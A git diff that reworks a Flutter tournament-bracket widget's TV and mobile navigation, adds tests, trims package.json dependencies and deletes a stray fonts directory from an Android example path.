diff --git a/.gitignore b/.gitignore index a8ad2a95b..c5da92ced 100644 --- a/.gitignore +++ b/.gitignore @@ -50,4 +50,3 @@ starter/system.bak generated_failed_sheet.png generated_passed_sheet.png generated_multidevice_sheet.png -config.bat diff --git a/modules/bracket/lib/src/bracket.dart b/modules/bracket/lib/src/bracket.dart index 1ce8cf680..df1157b52 100644 --- a/modules/bracket/lib/src/bracket.dart +++ b/modules/bracket/lib/src/bracket.dart @@ -14,7 +14,8 @@ import 'package:ensemble/layout/templated.dart'; import 'package:ensemble/model/item_template.dart'; import 'package:ensemble/util/utils.dart'; import 'package:ensemble/widget/helpers/controllers.dart'; -import 'package:flutter/foundation.dart' show ValueListenable, ValueNotifier; +import 'package:flutter/foundation.dart' + show ValueListenable, ValueNotifier, visibleForTesting; import 'package:flutter/material.dart'; import 'package:flutter/services.dart'; @@ -317,7 +318,7 @@ class BracketsView extends StatefulWidget { class _BracketsViewState extends State { late PageController _pageController; int _currentPageIndex = 0; - // Target page controls column expansion. + // Target page controls the column layout anchor. int _prevColumnIndex = 0; List _tabKeys = []; // Prevents child focus handling from scrolling horizontally. @@ -365,19 +366,25 @@ class _BracketsViewState extends State { } void _updatePageIndex() { + // The controller is recreated in didUpdateWidget when viewportFraction + // changes; ticks can arrive while the new one has no client yet. + if (!_pageController.hasClients) return; int newPage = _pageController.page!.round(); - if (newPage != _currentPageIndex) { - setState(() { - _currentPageIndex = newPage; - // On mobile, a horizontal swipe changes the page but not the reference - // lane used for column spacing (_prevColumnIndex). Sync it here so tiles - // realign after a swipe exactly as they do after a tab tap. TV drives - // _prevColumnIndex via the keyboard-navigation callback instead. - if (!Device().isTV) { - _prevColumnIndex = newPage; - } - }); - } + if (newPage == _currentPageIndex) return; + _currentPageIndex = newPage; + // On mobile, a horizontal swipe changes the page but not the reference + // lane used for column spacing (_prevColumnIndex). Sync it here so tiles + // realign after a swipe exactly as they do after a tab tap. On TV the + // selected tab follows _prevColumnIndex (driven by + // onPrevColumnIndexChanged) and _currentPageIndex is not read during + // build, so there is nothing to rebuild here mid-slide. + if (Device().isTV) return; + setState(() { + _prevColumnIndex = newPage; + }); + // Nudge the tab strip only when the page actually changes. Running this on + // every PageController tick restarted a 300ms ensureVisible animation frame + // after frame for the whole slide. _scrollToSelectedTab(newPage); } @@ -395,7 +402,16 @@ class _BracketsViewState extends State { } void _animateToPage(int index) { - // Update _prevColumnIndex BEFORE animation to trigger column expansion + // Arrow navigation owns the PageController while a TV transition is in + // flight. Prevent a tab activation from starting a second page activity + // that bypasses BracketsPage's transition generation/lock. + if (Device().isTV && + _pageController.hasClients && + _pageController.position.isScrollingNotifier.value) { + return; + } + // Update _prevColumnIndex before animation to keep the layout anchor + // aligned with the requested page. setState(() { _prevColumnIndex = index; }); @@ -740,10 +756,24 @@ class _BracketsPageState extends State final Map<_BracketMatchKey, FocusScopeNode> _matchFocusScopes = {}; bool _scrollSyncScheduled = false; + bool _scrollSyncAllScheduled = false; bool _isSynchronizingScrolls = false; int? _pendingScrollSyncColumn; + int? _pendingSyncAllExclude; bool _isHorizontalTransitioning = false; int _focusRequestGeneration = 0; + /// Identifies the current horizontal transition; a stale completion (e.g. a + /// reflow interrupted by a newer one) must not clear the lock or move focus. + int _transitionGeneration = 0; + /// Timestamp of the last horizontal transition start, used to detect input + /// floods (see [_startHorizontalTransition]). + int _lastHorizontalTransitionAtMs = -10000; + /// Timestamp of the last accepted vertical move. During a held key, repeats + /// inside [_verticalRepeatGateMs] are consumed without starting another + /// scroll/focus chain (bounds per-second allocation churn; see + /// [_moveVertically]). + int _lastVerticalMoveAtMs = -10000; + static const int _verticalRepeatGateMs = 150; double _logicalScrollOffset = 0; _BracketMatchKey? _focusedMatch; late int _activeColumnIndex; @@ -768,13 +798,20 @@ class _BracketsPageState extends State @override void didUpdateWidget(covariant BracketsPage oldWidget) { super.didUpdateWidget(oldWidget); - if (!_isHorizontalTransitioning && - oldWidget.prevColumnIndex != widget.prevColumnIndex) { - _activeColumnIndex = widget.prevColumnIndex; - } - if (oldWidget.prevColumnIndex != widget.prevColumnIndex && - !_isHorizontalTransitioning) { - _animateLayoutTo(widget.prevColumnIndex); + if (oldWidget.prevColumnIndex != widget.prevColumnIndex) { + if (Device().isTV) { + // TV transitions commit one stationary geometry state instead of + // animating SliverFixedExtentList.itemExtent. Arrow navigation commits + // it before this rebuild; tab activation commits it here. + if (!_isHorizontalTransitioning) { + _activeColumnIndex = widget.prevColumnIndex; + _layoutStateNotifier.value = + _BracketLayoutState.stationary(widget.prevColumnIndex); + } + } else if (!_isHorizontalTransitioning) { + _activeColumnIndex = widget.prevColumnIndex; + _animateLayoutTo(widget.prevColumnIndex); + } } if (oldWidget.data.length != widget.data.length) { _resizeScrollControllers(); @@ -794,10 +831,30 @@ class _BracketsPageState extends State for (var i = retainedCount; i < widget.data.length; i++) ScrollController(), ]; + _scrollControllers = newControllers; + // Old CustomScrollViews still reference the surplus controllers until the + // PageView rebuilds with the new array (same frame). Disposing them here + // throws "used after being disposed" if a tick/animation lands in that + // window, so retire them only once they are actually detached. for (var i = widget.data.length; i < oldControllers.length; i++) { - oldControllers[i].dispose(); + _disposeWhenDetached(oldControllers[i]); } - _scrollControllers = newControllers; + } + + /// Disposes [controller] post-frame, and only while it has no attached + /// positions. If a retained ghost (e.g. a bracket kept lower in the + /// navigator stack) still holds it, abandon disposal rather than risk a + /// use-after-dispose — the unreferenced controller is simply collected. + void _disposeWhenDetached(ScrollController controller, [int attempt = 0]) { + WidgetsBinding.instance.addPostFrameCallback((_) { + if (controller.hasClients) { + if (attempt < 4) { + _disposeWhenDetached(controller, attempt + 1); + } + return; + } + controller.dispose(); + }); } void _onPageChanged(int columnIndex) { @@ -806,12 +863,16 @@ class _BracketsPageState extends State } int _matchCount(int columnIndex) { + // The round list can be replaced by a data-binding refresh at any moment; + // stale key events may still reference an old column index. + if (columnIndex < 0 || columnIndex >= widget.data.length) return 0; final matches = widget.data[columnIndex].localScope.dataContext .eval(widget.data[columnIndex].matches.data); return (matches as List?)?.length ?? 0; } double _slotExtent(int columnIndex) { + if (columnIndex < 0 || columnIndex >= widget.data.length) return 0; return widget.data[columnIndex].matches.height * _layoutStateNotifier.value.multiplierFor(columnIndex); } @@ -824,20 +885,31 @@ class _BracketsPageState extends State ); } - void _animateLayoutTo(int targetColumn, {VoidCallback? onComplete}) { + Future _animateLayoutTo( + int targetColumn, { + Duration duration = const Duration(milliseconds: 280), + }) { final current = _layoutStateNotifier.value; if (current.toColumnIndex == targetColumn && current.progress == 1) { - onComplete?.call(); - return; + return Future.value(); } _layoutStateNotifier.value = _BracketLayoutState( fromColumnIndex: current.toColumnIndex, toColumnIndex: targetColumn, progress: 0, ); - _layoutAnimationController.forward(from: 0).whenComplete(() { - if (mounted) onComplete?.call(); - }); + // TV drives this concurrently with the page slide and matches its 180ms so + // the reflow and the focus transfer settle together; mobile keeps the + // standalone 280ms reflow. + _layoutAnimationController.duration = duration; + // `TickerFuture.whenComplete` never fires when the animation is interrupted + // (only `orCancel` resolves on cancellation), which would hang any caller + // sequencing on this reflow. Swallow cancellation as a normal completion so + // callers always resume. + return _layoutAnimationController + .forward(from: 0) + .orCancel + .then((_) {}, onError: (Object _) {}); } void _registerMatchFocus(_BracketMatchKey key, FocusScopeNode node) { @@ -891,16 +963,35 @@ class _BracketsPageState extends State notification is ScrollEndNotification) { _logicalScrollOffset = notification.metrics.pixels; if (notification is ScrollUpdateNotification) { - // Keep every other column's vertical position in sync live, while - // dragging - not just once a page change lands. Matches the - // partially-visible neighbor column(s) to the active column's - // scroll in real time so connector lines/match rows don't desync - // mid-drag. - _syncOtherColumns(excluding: columnIndex); + // Keep the other columns' vertical position in sync live while + // dragging (matching connector lines/match rows mid-drag), but batch + // the jumps into one post-frame pass. Calling jumpTo on every column + // synchronously per scroll notification performs N viewport layouts + // per frame and saturates the UI thread on TV. + _scheduleSyncOtherColumns(excluding: columnIndex); } } } + void _scheduleSyncOtherColumns({required int excluding}) { + if (_pendingSyncAllExclude != null && _pendingSyncAllExclude != excluding) { + // Source column changed within the same frame; the source column is + // already at the right pixels so any column is safe to exclude. + return; + } + _pendingSyncAllExclude = excluding; + if (_scrollSyncAllScheduled) return; + _scrollSyncAllScheduled = true; + WidgetsBinding.instance.addPostFrameCallback((_) { + _scrollSyncAllScheduled = false; + if (!mounted || _isSynchronizingScrolls) return; + final exclude = _pendingSyncAllExclude; + _pendingSyncAllExclude = null; + if (exclude == null) return; + _syncOtherColumns(excluding: exclude); + }); + } + void _syncOtherColumns({required int excluding}) { _isSynchronizingScrolls = true; // Sync ALL other columns, not just the adjacent one - this ensures e.g. @@ -959,9 +1050,12 @@ class _BracketsPageState extends State final count = _matchCount(columnIndex); if (count == 0) return; final matchIndex = requestedMatch.clamp(0, count - 1); - final key = _BracketMatchKey(columnIndex, matchIndex); - _focusedMatch = key; + _focusedMatch = _BracketMatchKey(columnIndex, matchIndex); + // Capture the controller before awaiting anything so a concurrent data + // refresh (which rebuilds/resizes _scrollControllers) can't turn this + // stale request into an out-of-range or use-after-dispose crash. + if (columnIndex < 0 || columnIndex >= _scrollControllers.length) return; final controller = _scrollControllers[columnIndex]; Future? scrollAnimation; if (controller.hasClients) { @@ -980,7 +1074,8 @@ class _BracketsPageState extends State } // Focus must react to the key event, not wait for the viewport animation. - _requestFocusWhenMounted(key, requestGeneration); + _requestFocusWhenMounted(_BracketMatchKey(columnIndex, matchIndex), + requestGeneration); // A card just outside the lazy cache may mount during this scroll. Retry // once the latest request's animation completes in that case. @@ -988,22 +1083,77 @@ class _BracketsPageState extends State await scrollAnimation; } if (!mounted || requestGeneration != _focusRequestGeneration) return; - _requestFocusWhenMounted(key, requestGeneration); + if (columnIndex < 0 || columnIndex >= widget.data.length) return; + _requestFocusWhenMounted( + _BracketMatchKey(columnIndex, matchIndex), requestGeneration); } bool _moveVertically(int columnIndex, int matchIndex, int direction) { + // A horizontal transition is moving the page while its target layout state + // is being committed. A vertical move now would animate this column's + // ScrollController against changing geometry, so consume the event and + // keep focus anchored until the transition settles. + if (_isHorizontalTransitioning) return true; + final count = _matchCount(columnIndex); + if (count == 0) return false; final activeMatch = _focusedMatch?.columnIndex == columnIndex ? _focusedMatch!.matchIndex : matchIndex; final targetMatch = activeMatch + direction; // Let the outer focus grid handle the column edges. - if (targetMatch < 0 || targetMatch >= _matchCount(columnIndex)) { + if (targetMatch < 0 || targetMatch >= count) { return false; } + + // Press-and-hold floods this handler with repeat events. Each one used to + // spin up a new scroll animation + focus-retry chain, pinning the isolate + // with allocation churn until the platform thread misses more than 5s of + // input and Android force-kills the app (ANR). Gate repeats: only one + // vertical move can be outstanding per animation window; intermediate + // repeats are consumed but do nothing. + final nowMs = DateTime.now().millisecondsSinceEpoch; + if (nowMs - _lastVerticalMoveAtMs < _verticalRepeatGateMs) { + return true; + } + _lastVerticalMoveAtMs = nowMs; + + // The column is a lazy list: only a window of cards is mounted. Moving + // focus onto a not-yet-mounted card scrolls the column and unmounts the + // currently focused card first, leaving no primary focus. The next repeat + // would then be picked up by the outer grid and escape the column. So only + // advance onto a registered card, and pre-scroll one slot to mount the next + // card for the following repeat. + if (!_matchFocusScopes + .containsKey(_BracketMatchKey(columnIndex, targetMatch))) { + _preScrollForVerticalMove(columnIndex, targetMatch); + return true; + } + _focusMatch(columnIndex, targetMatch); return true; } + /// Scrolls [columnIndex] toward [matchIndex] without moving focus, so the + /// lazy list mounts that card for the next vertical move. + void _preScrollForVerticalMove(int columnIndex, int matchIndex) { + if (columnIndex < 0 || columnIndex >= _scrollControllers.length) return; + final controller = _scrollControllers[columnIndex]; + if (!controller.hasClients) return; + final position = controller.position; + final slot = _slotExtent(columnIndex); + if (slot <= 0) return; + final desiredOffset = (matchIndex * slot - position.viewportDimension * 0.35) + .clamp(position.minScrollExtent, position.maxScrollExtent); + _logicalScrollOffset = desiredOffset; + if ((position.pixels - desiredOffset).abs() > 0.5) { + controller.animateTo( + desiredOffset, + duration: const Duration(milliseconds: 140), + curve: Curves.easeOut, + ); + } + } + @override void dispose() { for (var controller in _scrollControllers) { @@ -1036,34 +1186,138 @@ class _BracketsPageState extends State _startHorizontalTransition(_activeColumnIndex - 1); return KeyEventResult.handled; } + } else if (event.logicalKey == LogicalKeyboardKey.arrowDown) { + // A DOWN reaching the page scope means no match card consumed it (focus + // fell out of the lazy list while it was scrolling). Re-anchor inside the + // active column and consume the event so the outer focus grid cannot move + // focus into another bracket section. + final focused = _focusedMatch; + if (focused != null && focused.columnIndex == _activeColumnIndex) { + _moveVertically(focused.columnIndex, focused.matchIndex, 1); + } + return KeyEventResult.handled; } return KeyEventResult.ignored; } - /// Changes page and reflows the layout. + /// If focus comes to rest on the page scope itself (because the focused card + /// unmounted during a scroll), immediately re-anchor it to the intended card + /// so the next D-pad event is handled by a match tile again. + void _onPageScopeFocusChange(bool hasFocus) { + if (!hasFocus || !_pageScopeNode.hasPrimaryFocus) return; + final focused = _focusedMatch; + if (focused == null || focused.columnIndex != _activeColumnIndex) return; + WidgetsBinding.instance.addPostFrameCallback((_) { + if (!mounted || !_pageScopeNode.hasPrimaryFocus) return; + _requestFocusWhenMounted(focused, _focusRequestGeneration); + }); + } + + /// Changes page and commits the target layout state. void _startHorizontalTransition(int targetPage) { final targetMatch = _focusedMatch?.columnIndex == _activeColumnIndex ? _focusedMatch!.matchIndex : 0; + // Rapid section changes (e.g. holding D-pad arrows for tens of seconds) + // restart the layout and page transitions back to back, saturating the UI + // thread frame after frame until Android reports an ANR ("Input + // dispatching timed out") and force-kills the app. When transitions arrive + // faster than the previous transition could settle, snap instantly instead of + // animating; single transitions after an idle period still animate. + final nowMs = DateTime.now().millisecondsSinceEpoch; + final isFlooded = nowMs - _lastHorizontalTransitionAtMs < 650; + _lastHorizontalTransitionAtMs = nowMs; + _beginTransition(targetPage, targetMatch, snap: isFlooded); + } + + void _beginTransition(int targetPage, int targetMatch, + {required bool snap}) { + final transition = ++_transitionGeneration; _isHorizontalTransitioning = true; _activeColumnIndex = targetPage; - widget.pageController - .animateToPage(targetPage, - duration: const Duration(milliseconds: 180), curve: Curves.easeOut) - .whenComplete(() { - if (!mounted) return; + if (snap || !widget.pageController.hasClients) { + // A snap supersedes any in-flight reflow; stop it so its ticks cannot + // overwrite the committed stationary geometry. + _layoutAnimationController.stop(); + _snapPageTo(targetPage); widget.onPrevColumnIndexChanged?.call(targetPage); + _layoutStateNotifier.value = _BracketLayoutState.stationary(targetPage); WidgetsBinding.instance.addPostFrameCallback((_) { - if (!mounted) return; - _animateLayoutTo(targetPage, onComplete: () { - if (!mounted) return; - _isHorizontalTransitioning = false; - _focusMatch(targetPage, targetMatch); - }); + if (!mounted || transition != _transitionGeneration) return; + _isHorizontalTransitioning = false; + _focusMatch(targetPage, targetMatch); }); + return; + } + // Slide the page and reflow the column geometry at the same time. The two + // animations are orthogonal (horizontal page offset vs. vertical column + // spacing), so running them together reads as one motion. Committing the + // spacing only after the slide makes the incoming column visibly rearrange + // once it has already arrived (the "rapid expansion" jerk). Input floods + // still take the snap path above, which bounds the per-frame relayout + // churn that previously caused ANRs. + final pageSlide = widget.pageController + .animateToPage(targetPage, + duration: const Duration(milliseconds: 180), curve: Curves.easeOut) + .then((_) { + // A superseded transition must not move the selected tab/prevColumnIndex + // back to its own target once a newer one has started. A failed slide + // (caught by Future.wait below) must not advance the tab either. + if (!mounted || transition != _transitionGeneration) return; + // Update the selected tab after the slide so its rebuild stays out of + // the transition's critical frames. + widget.onPrevColumnIndexChanged?.call(targetPage); }); + + // Release the transition lock and move focus only once BOTH the slide and + // the reflow have settled, so input stays anchored until the transition is + // fully finished. The reflow is given the same 180ms as the slide so focus + // is not held back by a longer standalone reflow. The generation guard + // keeps a superseded transition from clearing a newer one's lock. + Future.wait([ + pageSlide, + _animateLayoutTo(targetPage, duration: const Duration(milliseconds: 180)), + ]).then( + (_) { + if (!mounted || transition != _transitionGeneration) return; + _isHorizontalTransitioning = false; + _focusMatch(targetPage, targetMatch); + }, + onError: (Object _) { + // A failed slide/reflow must still release the transition lock so the + // bracket cannot be left permanently unresponsive. + if (!mounted || transition != _transitionGeneration) return; + _isHorizontalTransitioning = false; + }, + ); + } + + /// Snaps the page view to [targetPage] while staying inside the reachable + /// scroll range. + /// + /// [PageController.jumpToPage] force-sets pixels to + /// `page * viewportDimension * viewportFraction`. With `padEnds: false` and + /// `viewportFraction < 1` (the bracket's 0.4) those trailing pages map past + /// `maxScrollExtent` — the same clamp documented on `PageController.page` — + /// so the position is left out of range and the scroll physics springs it + /// back. That reads as a jerk/rapid throw exactly when the far rounds are + /// reached. Clamp the target instead so the snap is one stationary update. + void _snapPageTo(int targetPage) { + final controller = widget.pageController; + if (!controller.hasClients) return; + final position = controller.position; + final target = bracketSnapPageOffset( + page: targetPage, + viewportDimension: position.viewportDimension, + viewportFraction: controller.viewportFraction, + minScrollExtent: position.minScrollExtent, + maxScrollExtent: position.maxScrollExtent, + ); + if ((position.pixels - target).abs() > 0.5) { + position.jumpTo(target); + } } @override @@ -1077,6 +1331,11 @@ class _BracketsPageState extends State itemCount: widget.data.length, onPageChanged: _onPageChanged, itemBuilder: (context, columnIndex) { + // _scrollControllers are resized in didUpdateWidget, which runs in the + // same frame; guard anyway so a momentarily stale count can't throw. + if (columnIndex < 0 || columnIndex >= _scrollControllers.length) { + return const SizedBox.shrink(); + } return BracketsColumnPage( controller: widget.controller, roundData: widget.data[columnIndex], @@ -1103,6 +1362,7 @@ class _BracketsPageState extends State return FocusScope( node: _pageScopeNode, onKeyEvent: _handleKeyEvent, + onFocusChange: _onPageScopeFocusChange, child: pageView, ); } @@ -1325,7 +1585,7 @@ class _BracketsColumnPageState extends State { } } -/// Interpolates bracket-tree geometry during reflow. +/// Interpolates bracket-tree geometry during mobile layout transitions. class _BracketLayoutState { const _BracketLayoutState({ required this.fromColumnIndex, @@ -1368,6 +1628,29 @@ class _BracketLayoutState { } } +/// Scroll offset that positions [page] in a [PageController] viewport while +/// staying inside the reachable `[minScrollExtent, maxScrollExtent]` range. +/// +/// Mirrors `_PagePosition.getPixelsFromPage` (`page * viewportDimension * +/// viewportFraction` plus the viewportFraction > 1 centering offset), then +/// clamps. This is what keeps a `padEnds: false` / fractional `PageView` from +/// being force-scrolled past its last page and sprung back. +@visibleForTesting +double bracketSnapPageOffset({ + required int page, + required double viewportDimension, + required double viewportFraction, + required double minScrollExtent, + required double maxScrollExtent, +}) { + final initialOffset = viewportFraction > 1 + ? viewportDimension * (viewportFraction - 1) / 2 + : 0.0; + return (page * viewportDimension * viewportFraction + initialOffset) + .clamp(minScrollExtent, maxScrollExtent) + .toDouble(); +} + class _BracketMatchKey { const _BracketMatchKey(this.columnIndex, this.matchIndex); diff --git a/modules/bracket/test/ensemble_bracket_test.dart b/modules/bracket/test/ensemble_bracket_test.dart index 0da434d92..5595b4ecb 100644 --- a/modules/bracket/test/ensemble_bracket_test.dart +++ b/modules/bracket/test/ensemble_bracket_test.dart @@ -1,5 +1,81 @@ +import 'package:ensemble_bracket/ensemble_bracket.dart'; +import 'package:flutter/material.dart'; import 'package:flutter_test/flutter_test.dart'; void main() { - test('adds one to input values', () {}); + testWidgets('PageController recreation with no rounds is safe', + (tester) async { + final initialController = BracketController(); + final updatedController = BracketController(); + updatedController.setters()['scale']?.call(0.5); + + await tester.pumpWidget(MaterialApp( + home: Scaffold( + body: BracketsView(data: const [], controller: initialController), + ), + )); + + await tester.pumpWidget(MaterialApp( + home: Scaffold( + body: BracketsView(data: const [], controller: updatedController), + ), + )); + await tester.pumpAndSettle(); + + expect(tester.takeException(), isNull); + await tester.pumpWidget(const SizedBox.shrink()); + expect(tester.takeException(), isNull); + }); + + test('bracketSnapPageOffset clamps trailing pages to reachable range', () { + // 7 rounds at viewportFraction 0.4 in a 960pt viewport: content is 2688pt, + // so maxScrollExtent is 1728. Page 6 maps to 2304 unclamped and page 5 to + // 1920; both must clamp, or jumpTo() springs back (the "rapid throw"). + const viewport = 960.0; + const fraction = 0.4; + const max = 1728.0; + + expect( + bracketSnapPageOffset( + page: 6, + viewportDimension: viewport, + viewportFraction: fraction, + minScrollExtent: 0, + maxScrollExtent: max, + ), + max, + ); + expect( + bracketSnapPageOffset( + page: 5, + viewportDimension: viewport, + viewportFraction: fraction, + minScrollExtent: 0, + maxScrollExtent: max, + ), + max, + ); + // Reachable pages keep their exact offset. + expect( + bracketSnapPageOffset( + page: 4, + viewportDimension: viewport, + viewportFraction: fraction, + minScrollExtent: 0, + maxScrollExtent: max, + ), + 1536, + ); + // viewportFraction > 1 keeps the centering initial offset. + expect( + bracketSnapPageOffset( + page: 0, + viewportDimension: 100, + viewportFraction: 2, + minScrollExtent: 0, + maxScrollExtent: 1000, + ), + 50, + ); + }); } diff --git a/package.json b/package.json index 00ee40ebe..ce9032a34 100644 --- a/package.json +++ b/package.json @@ -4,8 +4,6 @@ "@types/yaml": "^1.9.7" }, "dependencies": { - "dotenv": "^8.2.0", - "fs-extra": "^11.2.0", - "node-fetch": "^3.3.2" + "fs-extra": "^11.2.0" } } diff --git a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/README.md b/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/README.md deleted file mode 100644 index 1fb874ba8..000000000 --- a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/README.md +++ /dev/null @@ -1,24 +0,0 @@ -# Fonts Directory - -This directory contains custom fonts for the Blockchain Explorer application. - -## Required Font Files - -The application expects the following font files: - -1. **BlockchainFont-Regular.woff2** and **BlockchainFont-Regular.woff** - - Regular weight font for the main UI - -2. **BlockchainFont-Bold.woff2** and **BlockchainFont-Bold.woff** - - Bold weight font for headings - -3. **TechMono-Regular.woff2** and **TechMono-Regular.woff** - - Monospace font for code and hash displays - -## Note - -If you don't have custom fonts, the application will fall back to system fonts: -- BlockchainFont → system sans-serif fonts -- TechMono → system monospace fonts (Courier New, etc.) - -The fonts are referenced in `public/index.html` and will be loaded automatically when available. diff --git a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-brands-400.eot b/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-brands-400.eot deleted file mode 100644 index a1bc094ab..000000000 Binary files a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-brands-400.eot and /dev/null differ diff --git a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-brands-400.svg b/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-brands-400.svg deleted file mode 100644 index 2d4771eb7..000000000 --- a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-brands-400.svg +++ /dev/null @@ -1,3570 +0,0 @@ - - - - - -Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 - By Robert Madole -Copyright (c) Font Awesome - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-brands-400.ttf b/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-brands-400.ttf deleted file mode 100644 index 948a2a6cc..000000000 Binary files a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-brands-400.ttf and /dev/null differ diff --git a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-brands-400.woff b/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-brands-400.woff deleted file mode 100644 index 2a89d521e..000000000 Binary files a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-brands-400.woff and /dev/null differ diff --git a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-brands-400.woff2 b/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-brands-400.woff2 deleted file mode 100644 index 141a90a9e..000000000 Binary files a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-brands-400.woff2 and /dev/null differ diff --git a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-regular-400.eot b/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-regular-400.eot deleted file mode 100644 index 38cf2517a..000000000 Binary files a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-regular-400.eot and /dev/null differ diff --git a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-regular-400.svg b/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-regular-400.svg deleted file mode 100644 index 13180f6ee..000000000 --- a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-regular-400.svg +++ /dev/null @@ -1,803 +0,0 @@ - - - - - -Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 - By Robert Madole -Copyright (c) Font Awesome - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-regular-400.ttf b/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-regular-400.ttf deleted file mode 100644 index abe99e20c..000000000 Binary files a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-regular-400.ttf and /dev/null differ diff --git a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-regular-400.woff b/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-regular-400.woff deleted file mode 100644 index 24de566a5..000000000 Binary files a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-regular-400.woff and /dev/null differ diff --git a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-regular-400.woff2 b/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-regular-400.woff2 deleted file mode 100644 index 7e0118e52..000000000 Binary files a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-regular-400.woff2 and /dev/null differ diff --git a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-solid-900.eot b/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-solid-900.eot deleted file mode 100644 index d3b77c223..000000000 Binary files a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-solid-900.eot and /dev/null differ diff --git a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-solid-900.svg b/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-solid-900.svg deleted file mode 100644 index 5543afa79..000000000 --- a/packages/ensemble_app_badger/example/android/app/src/main/java/fr/g123k/flutterappbadge/flutterappbadgerexample/public/fonts/fa-solid-900.svg +++ /dev/null @@ -1,4938 +0,0 @@ - - - - - -Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 - By Robert Madole -Copyright (c) Font Awesome - - - 